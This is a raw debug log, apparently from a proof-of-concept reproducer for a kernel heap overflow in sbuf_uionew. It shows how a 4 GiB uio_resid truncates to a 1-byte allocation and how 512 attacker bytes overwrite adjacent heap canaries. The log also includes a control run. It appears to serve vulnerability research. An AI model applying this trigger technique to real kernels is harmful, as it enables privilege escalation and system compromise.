=== second mode1 + post-corruption mode0 ===
DF2553[scan]: canary 8129 @0xfffff8004f0c2900 = 32 35 35 33 50 57 4e 44  (byte0 expected 32 per user pattern at +488 past the 1-byte alloc)
DF2553[scan]: canary 8130 @0xfffff8004f0c28f8 = 35 35 33 50 57 4e 44 46  (byte0 expected 35 per user pattern at +480 past the 1-byte alloc)
DF2553[scan]: canary 8131 @0xfffff8004f0c28f0 = 35 33 50 57 4e 44 46 32  (byte0 expected 35 per user pattern at +472 past the 1-byte alloc)
DF2553[scan]: canary 8132 @0xfffff8004f0c28e8 = 33 50 57 4e 44 46 32 35  (byte0 expected 33 per user pattern at +464 past the 1-byte alloc)
DF2553[scan]: corrupted=63 first=8127 last=8189 full-8-byte-pattern-match=63
DF2553[mode1]: *** KERNEL HEAP OVERFLOW REPRODUCED: attacker bytes past a 1-byte kmalloc ***
DF2553: === mode=1 done ===
DF2553: === trigger mode=1 ===
DF2553[mode1]: uio_resid=0x100000000 (iov0: 0x200 committed attacker bytes + iov1: 0xfffffe00 at PROT_NONE page)
DF2553[mode1]: sbuf_new length param = (int)(resid+1) = 1; uiomove n = resid = 4294967296  <-- mismatch
DF2553[mode1]: hole = canary idx 8190 @0xfffff8004f0d2708 (verified: next kmalloc(1) returns exactly this chunk)
DF2553[mode1]: sbuf_uionew returned s=0 *error=14 (EFAULT: uiomove hit the PROT_NONE iov1 AFTER copying iov0)
DF2553[mode1]: uio after: resid=0xfffffe00 iov0.len=0 iov1.len=4294966784  => 512 attacker bytes were copied into s_buf before the fault
DF2553[scan]: corrupted=0 first=-1 last=-1 full-8-byte-pattern-match=0
DF2553[mode1]: no corruption observed
DF2553: === mode=1 done ===
DF2553: === trigger mode=0 ===
DF2553[mode0]: control uio_resid=256 (0x100)
DF2553[mode0]: OK s=0xfffff8008976ba00 err=0 s_size=257 s_len=256 data[0..7]=44 46 32 35 35 33 50 57
DF2553[mode0]: uio_resid after=0 (fully drained)
DF2553[scan]: corrupted=0 first=-1 last=-1 full-8-byte-pattern-match=0
DF2553: === mode=0 done ===